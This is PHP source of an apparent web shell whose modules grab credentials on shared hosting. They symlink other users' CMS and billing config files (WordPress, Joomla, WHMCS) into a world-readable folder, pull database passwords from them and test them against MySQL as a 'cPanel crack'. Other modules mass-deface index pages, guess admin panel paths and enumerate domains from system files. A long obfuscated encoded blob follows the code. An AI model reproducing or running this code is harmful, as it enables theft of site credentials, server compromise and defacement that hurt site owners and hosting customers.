- <textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea></br>
- <input name="cat" size="80" style="color:#FF0000;background-color:#000000"value="START" type="submit"></br></form>
- <?php
- @error_reporting(0);
- @set_time_limit(0);
- if($_POST["cat"] && !$_POST["passwd"]==""){
- echo "Checking Functions ...<br>";
- $functions=@ini_get("disable_functions");
- if(eregi("symlink",$functions)){
- die("<font color=red>Symlink Function is DisableD, You Can't Continue This Process !!</font>");
- }
- echo "Checking Done Without Problems, Continue ...<br>";
- @mkdir("dm_grab", 0755);
- @chdir("dm_grab");
- $htaccess="
- Options all
- Options +Indexes
- Options +FollowSymLinks
- DirectoryIndex Sux.html
- AddType text/plain .php
- AddHandler server-parsed .php
- AddType text/plain .html
- AddHandler txt .html
- Require None
- Satisfy Any
- ";
- file_put_contents(".htaccess",$htaccess,FILE_APPEND);
- $passwd=$_POST["passwd"];
- $passwd=explode("\n",$passwd);
- echo "Start Symlinking ...<br>";
- foreach($passwd as $pwd){
- $pawd=explode(":",$pwd);
- $user =$pawd[0];
- // Now symlink Them
- @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
- @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
- @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
- @symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
- @symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
- @symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
- @symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
- @symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
- @symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
- @symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
- @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
- @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
- @symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
- @symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
- @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
- @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
- @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
- @symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
- @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
- @symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
- @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
- @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
- @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
- @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
- @symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
- @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
- @symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
- @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
- @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
- @symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
- @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
- @symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
- @symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
- @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
- @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
- @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
- @symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
- @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
- @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
- @symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
- @symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
- @symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
- @symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
- @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
- @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
- @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
- @symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
- @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
- @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
- @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
- @symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
- @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
- @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
- @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
- @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
- @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
- @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
- @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
- @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt');
- @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt');
- @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt');
- @symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
- @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
- @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
- @symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
- @symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
- @symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
- @symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
- @symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
- @symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
- @symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
- @symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
- @symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
- @symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
- @symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
- @symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
- @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
- @symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
- @symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
- @symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
- @symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
- @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
- @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
- @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
- @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
- @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
- @symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
- @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
- @symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
- @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
- }
- echo "DonE with Success --> <a href='dm_grab'>Click Here</a><br>";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'md')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=md" method="post">
- <br><br><center><form action='<? basename($_SERVER['PHP_SELF']); ?>' method='post'>[+] Directory: <input type='text' style='color:#FF0000;background-color:#000000' style='width: 300px' value='<?php echo $dispd; ?>' name='massdefacedir'> [+] Defacement: <input type='text' style='color:#FF0000;background-color:#000000' style='width: 300px' name='massdefaceurl'>
- <input type='submit' name='execmassdeface' style='color:#FF0000;background-color:#000000' value='Execute'></form></center>
- <?
- $dspact = $act = htmlspecialchars($act);
- $disp_fullpath = $ls_arr = $notls = null;
- $ud = @urlencode($d);
- if (empty($d)) {$d = realpath(".");}
- elseif(realpath($d)) {$d = realpath($d);}
- $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
- if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
- $d = str_replace("\\\\","\\",$d);
- $dispd = htmlspecialchars($d);
- $self=basename($_SERVER['PHP_SELF']);
- if(isset($_POST['execmassdeface']))
- {
- echo "<center><textarea rows='10' style='color:#FF0000;background-color:#000000' cols='100'>";
- $hackfile = $_POST['massdefaceurl'];
- $dir = $_POST['massdefacedir'];
- echo $dir."\n";
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- if(filetype($dir.$file)=="dir"){
- $newfile=$dir.$file."/index.html";
- echo $newfile."\n";
- if (!copy($hackfile, $newfile)) {
- echo "failed to copy $file...\n";
- } } }
- closedir($dh);
- } }
- echo "</textarea></center>";} ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'adm')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=adm" method="post">
- <center><br><br><br><form method="POST"> TARGET : <input name="target" style="color:#FF0000;background-color:#000000" size="25" value="http://"><input type="submit" style="color:#FF0000;background-color:#000000" value=" >> "></form></center>
- <?php
- $target = $_POST['target'];
- $admins = array('/admin','/adminweb','/safeadmin','/adminweb','/controlpanel','/cpanel','/admcp','/admin.asp','/sysadmin.php','/useradmin','/wp-admin','/webadmin','/SysAdmin','/administer','/administrator','/adm','/directadmin','/staradmin','/panel','/wp-login','/pureadmin','/webmaster','/ADMIN','/login','/paneldecontrol','/administrador','/admin.php','/login','/loign.php','/administrator.php','/admins.php','/logins','/admincp','/admincp.php');
- foreach($admins as $admin) {
- $jamban = ($target).($admin);
- $get = @file_get_contents($jamban);
- if($get) {
- echo "<br>[+] :v FOUND : <a href='".$jamban."' target='_blank'>".$jamban."</a> [+]<br>";
- }
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'anu4')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=anu4" method="post">
- <?php
- if(is_readable("/etc/valiases")){
- echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
- echo'<tr>
- <td align="center"><b>_DOMAINS_</b></td>
- <td align="center"><b>_USERS_</b></td>
- <td align="center"><b>SYMLINK</b></td>';
- $list = scandir("/etc/valiases");
- foreach($list as $domain){
- $i += 1;
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- echo "<tr>
- <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
- <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a>/td>";
- }
- echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
- }else{
- echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
- <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center><tr>";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'anu3')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=anu3" method="post">
- <?php
- if(is_readable("/etc/named.conf")){
- echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
- echo'<tr>
- <td align="center"><b>_DOMAINS_</b></td>
- <td align="center"><b>_USERS_</b></td>
- <td align="center"><b>_SYMLINK_</b></td>';
- $named = file_get_contents("/etc/named.conf");
- preg_match_all('%zone \"(.*)\" {%',$named,$domains);
- foreach($domains[1] as $domain){
- $domain = trim($domain);
- $i += 1;
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- echo "<tr>
- <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
- <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a></td>";
- }
- echo "<br/><center>[+] Ketemu ".$i." Maho :v [+]</center> ";
- }else{
- echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
- <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center><tr>";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'anu2')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=anu2" method="post">
- <?php
- error_reporting(0);
- $etc = file_get_contents("/etc/passwd");
- $etcz = explode("\n",$etc);
- if(is_readable("/etc/passwd")){
- echo'<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
- echo'<tr>
- <td align="center"><b>_DOMAINS_</b></td>
- <td align="center"><b>_USERS_</b></td>
- <td align="center"><b>_SYMLINK_</b></td>';
- $list = scandir("/var/named");
- foreach($etcz as $etz){
- $etcc = explode(":",$etz);
- foreach($list as $domain){
- if(strpos($domain,".db")){
- $domain = str_replace('.db','',$domain);
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- if($owner['name'] == $etcc[0])
- {
- $i += 1;
- echo "<tr>
- <td align='center'><a href='http://".$domain." '>".$domain."</a></td>
- <td align='center'><font color='#00FF00'>".$owner['name']."</font></td>
- <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."'target='_blank'>Symlink</a></td>";
- } } } }
- echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'anu1')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=anu1" method="post">
- <?php
- if(is_readable("/var/named")){
- echo '<table align="center" border="1" width="200" cellspacing="0" cellpadding="4">';
- echo'<tr>
- <td align="center"><b>_DOMAINS_</b></td>
- <td align="center"><b>_USERS_</b></td>
- <td align="center"><b>_SYMLINK_</b></center></td>';
- $list = scandir("/var/named");
- foreach($list as $domain){
- if(strpos($domain,".db")){
- $i += 1;
- $domain = str_replace('.db','',$domain);
- $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
- echo "<tr><td align='center'><a href='http://".$domain." '>".$domain."</a></td>
- <td align='center'>".$owner['name']."</td>
- <td align='center'><a href='anu/r00t".$owner['dir']."/".$dir[3]."' target='_blank'>Symlink</a></td>";
- } }
- echo "<br/><center>[+] Ketemu ".$i." Maho :v [+] </center> ";
- }
- else
- {
- echo "<br/><center><b>[+] LO KURANG GANTENG COK :P [+]</b><br/><p>
- <b>[+] KAGA BISA SYMLINK ETC_NAMED.CONF [+]</b> </center>";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=cpanel" method="post">
- <?php
- set_time_limit(0);
- error_reporting(0);
- if(isset($_POST['url'])){
- $url = $_POST['url'];
- }else{
- $url = 'http://';
- }
- echo '<!DOCTYPE HTML>
- <html>
- <head>
- <title>...:::[ CPANEL CRACK ]:::...</title>
- </head>
- <body>
- <br><br>
- <div id="tool">
- <div align="center"><b> -:[ DM TE4M ]:-</b><br/>
- <div align="center"><b>--=|[+] EXPECT US [+]|=--</b></div>
- <p>
- <form method="POST">
- <input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
- <p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
- </form><br/><br/>';
- if(isset($_POST['url'])){
- if(!file_get_contents($url)){
- echo '--:[ ERROR BRAY ]:--';
- }else{
- $a = 0;
- foreach(get_data($url) as $info){
- if(login($info[0],$info[1])){
- echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
- $a++;
- }
- }
- echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
- }
- }
- echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
- </body>
- </html>';
- function ex($a,$b,$text){
- $explode = explode($a,$text);
- $explode = explode($b,$explode[1]);
- return $explode[0];
- }
- function login($user,$pass){
- $c = @mysql_connect('localhost',$user,$pass);
- if($c){
- mysql_close($c);
- return true;
- }else{
- return false;
- }
- }
- function get_data($url){
- $ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
- $src = file_get_contents($url);
- $files = explode('<a href="',$src);
- $data = array();
- foreach($files as $id=>$file){
- if($id == 0){
- continue;
- }
- $file = explode('">',$file);
- $file = trim($file[0]);
- if(!eregi('.txt',$file)){
- continue;
- }
- $src = file_get_contents("$url/$file");
- if(!$src){
- continue;
- }
- $user = str_replace($ar,'',$file);
- $user = str_replace($ar,'',$user.'.txt');
- $user = str_replace($ar,'',$user.'.txt');
- $user = trim(str_replace('.txt','',$user));
- if(eregi("WordPress",$src)){
- $pass = ex("define('DB_PASSWORD', '","');",$src);
- $data[] = array($user,$pass);
- }else{
- $tokens = token_get_all($src);
- foreach($tokens as $token){
- if(!$token[1]){
- continue;
- }
- $tokenname = token_name($token[0]);
- if($tokenname != 'T_VARIABLE'){
- continue;
- }
- $var = $token[1];
- if(eregi('pass',$var)){
- $f = str_replace(' ','',ex($var,';',$src));
- $a = trim(ex("='","'",$f));
- $b = trim(ex('"','"',$f));
- if($a != ''){
- $pass = $a;
- }elseif($b != ''){
- $pass = $b;
- }
- if($pass == ''){
- continue;
- }
- $data[] = array($user,$pass);
- }
- }
- }
- }
- return $data;
- }
- ;
- return;
- ?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tmYlfy90DB1lb2xpdBl0heEpKXplFmkvFl9ZcbnvFmOpdMFPHtL7tMlMholzF2a0htOgAr9TaySmfbkSk10phbShkuaZdtE9wtOgAr9TaySmfbkSk107tm1lduYlGXPLfbkSwe0Ik2i0fuE6RZ93f3FVkzShgWplC2ivwtF8wAONW1OcArAIUyOYTe4hNoi0dBX+tjxPcByLNIP8fol0doA+WJ1owrYvdMcpc19jAoyVcBX8R3OpfoxlNIP8F3O5doAIfulXcT0Jfoa4ft9jF3HJNIPhCM9LGbShwtEIdByZc2lVwePICba0dzShwtEICMyjD2fZd3aVct1jd2xvFjPjcjcMYMC2KXPIwtnjd2xvFjPIwzHzKTL5KTShwtEIcM9Vft1MCB1pduL6wuOiDo9sCUXIc2aVcbciRtnSfBYpcorSduajDBOiwofZCB5LcUXICbkpCBXSwoilduclfoljCUXIF2yVFZ1zcbkpcjShwtEIcM9Vft1MCB1pduL6wer0FuI7tJEIwuOlGuWsCBxpc246woYldmOlFjShwtEIwocvdmWsf2apc2i0KJnJd2xLweShgWPhDB5XfbWSfoa4foyZcBrSF2aScBY0GXpMd250RbflDBfPfePICM9SceShC29Sd3w6wtHXHeEXHeE7tMkvFMOlFjPIHbn4wuYvdolLwtYeW0YeW0H7tMkiC2smFM91dMWsC29Sd3w6wufPDbOlKXpXCBOLDB5mKJEzFuI7tMkvFMOlFJ1ZCBOpfbH6wefXGeShgWPhDB5XfbW6cM9jfbY7tIPICM94RbYPCBOvfzPIHun4wenXGtE1FuIIwzEXKAC5OjShtm0hw2cvd3OlFJEIGXPhC29Sd3w6wtHXHeEXHeE7tMcvdmWscMysDBx5KJExYun4KXp0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHeShcM9Vft13cBlmDuW6wo5vFM1ideShgWpiGXPIwuOlGuWscoajd3kifolvdjPIdM9VcTShwtnjd2xvFjPjHzHzHzHzKXp9tjXvF3O5doA+tjXvDoaice4hNokvcuL+tjxLDbCIDBW9wmOvd2XJNIP8UerIF3O5doA9wMYvdo9ZKJEjYeW0YeW0KZn0cbi0RbYPCBOvfzPIHun4wenXGtExFuIIwzEXHeEXHtw7foa4ft1idolmdjPIC2aVfoaZKz5tRACIW29VcMlmb2YWCB5ldeXvUer+tjxMd3kswo1lfoivce0JAr9Tatw+tjxpdmn1ftnVCB1lNUk1FMXJwuO5FoA9wmOlGuWJwucidualNUwmRJO1FMXVkZwIF2l6cT0JYeEJwt8+tjxpdmn1ftn0GbnlNUkzfBksDbWJwucidualNUkTfoyZftE+wJEvNIP8R2cvFM0+NokZwt8+NokZwt8+kzShDBCPDbYzcbWPky9WT1YABZf1FMXmbULpGXppcJIicMlSca9mcbOgC29VfoaVfuHPkuaZdtLpGXplC2ivwtfyFmkvFJ4IUB52CBxpctnaALXVkzShgBaSF2a7tJOiwe0IHeShcM9ZcByjDtimcbOgcoy0CUILfbkShUniFZELDB5MdZl7tMlMhoxvc2lVhtOpdMcvBznfRtOpdMcvBzyfhUl7tMajDo8IwjxJwuY0GBxlNUFIC29Sd3w6wtH4HeIXKeEIKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjKeE4HeIXweSmNlSqbUnaF2aZdMyscUEMwyniF3Y3d3kLweP8R2w+wtE8CJnzfulScT0mwoYvdo9ZKJEjHeEXHrcoweSIfoa4ft1zDoyLd3F6Hun4wenXGtExFuIIwzEXHenoOJE7kz5dkolVcM9dHy1fNt9JNJE8CJnzfulScT0mwoYvdo9ZKJEjW0HXHeEXKZn0cbi0RbYPCBOvfzPXFuIIHun4weyXGtEjW0HXHeEXKZF+BZOpdMcvBzyfbTXvCj48CmwIRz4JKXPLCUSqKXp9tm0hcBYPdZEJNowIF3O5doA9kZnjd2xvFjPIwzIXKeE4HtE7wuOlGuWsF2iico93KjnXGtEXFuIIHbn4wtH4HeIXKeEIKZF+NoiZNJOiwrYXCB5ldtnod3aVcoaLRjxJFJEvNJw7tm0hgWplC2ivwtF8CmwIRz48CmwIRz48CmwIRz48CmwIRz48col2wolLNUkMd290cbwJNmx8wrlLcBrIKjPITbwVWBxzCTYlDZn8gtnWFM9mFMysdBlVcZE6KJnuRAwIguXIOoazDBfVcbwIKjPIWBXsA3fpF3klwux8weXvcol2NIP8R2Opfj48R2kvcuL+tjXvDuOsde4mKXpMfB5jfolvdJnlGtILCUXLCJXLfoa4ftl7tJOlGunSd2Olwe0IcbiXdo9LcUILCUXLfoa4ftL7tJOlGunSd2Olwe0IcbiXdo9LcUILCJXLcbiXdo9LcaSxbUL7tmklfuaZdJELcbiXdo9LcaSXbTShgWpMfB5jfolvdJnSd2fpdJILfbYlFJXLFoyzFZl7tJOjwe0IWo15F3ySb2YvdM5lC3WPk2xvC2ySDo9zftFSkuazcbwSkuniF3HpKXppcJILCZl7tM15F3ySb2YSd3YlhtOjhTShFMa0fbkVwuOZfBA7tm1lduYlGXpZcbO1FM4IcMySF2A7tm0hgWpMfB5jfolvdJnmcbOgcoy0CUILfbkShbShkoyZwe0ICbkZCbLPkzrVfui0kZXmHJ50GuWmRtFzRmO4ftFSkzWVfui0kZXmYU50GuWmRtF2RmO4ftFSkzFVfui0kZXmKt50GuWmRtF5RmO4ftFSkzEVfui0kZL7tJOzFMHINUnMDBxlb2flfy9jd250cB50FZILfbkShTShkocpdoazwe0IcbiXdo9LcUImNorIDuklcj0JkZXLF3kjhTShkoOiforINUniFmkiGUIpKXpMd3klCBYPhtOMDBxlFZniFZELDBW9NJOMDBxlhbShDBCPkolLwe09weEpGXpjd250DB51cTShgWPLcMlScUE9woa4FoxvcoAPkZw+kZXLcMlScUL7tJOMDBxlwe0IfukpdUILcMlScaSXbUL7tMlMhtylFMamDUImRmO4ftFSkocpdoAphbShC29VfolVfBA7tm0hkuYZCZE9wocpdoagc2a0b2YvdmOldmOzhtwLfbkSRZOMDBxlwJL7tMlMhtrLF3kjhbShC29VfolVfBA7tm0hkuazcbwINUnzfukgFMaXdoyjcUILCbwSkZFSkocpdoApKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuY0Fl9ZcbnSCBYlhtOiFJXmkZXLfbYlFJ4mRmO4ftFpKXPLfbYlFJE9wuOZDB0PF3OZb3klFoxiC2APkZ50GuWmRtFmRtO1F2aZhUL7tMlMhoaZcBfphtkbd3kLAuklF3HJRtOzFMHphbShkuniF3HINUnlGtIJcoaMDB5lhtfrWl9WWaYTa09UOtFSwtFJRtwmhTSJRtOzFMHpKXPLcoy0Casfwe0ICbkZCbLPkuazcbwSkuniF3HpKXp9cBxzcbShkuOvD2aVFZE9wuOvD2aVb2flfy9idoXPkuYZCZL7tMcvFMaiC2IPkuOvD2aVFZniFZELfo9qcB4pGXppcJIikuOvD2aVBzyfhbShC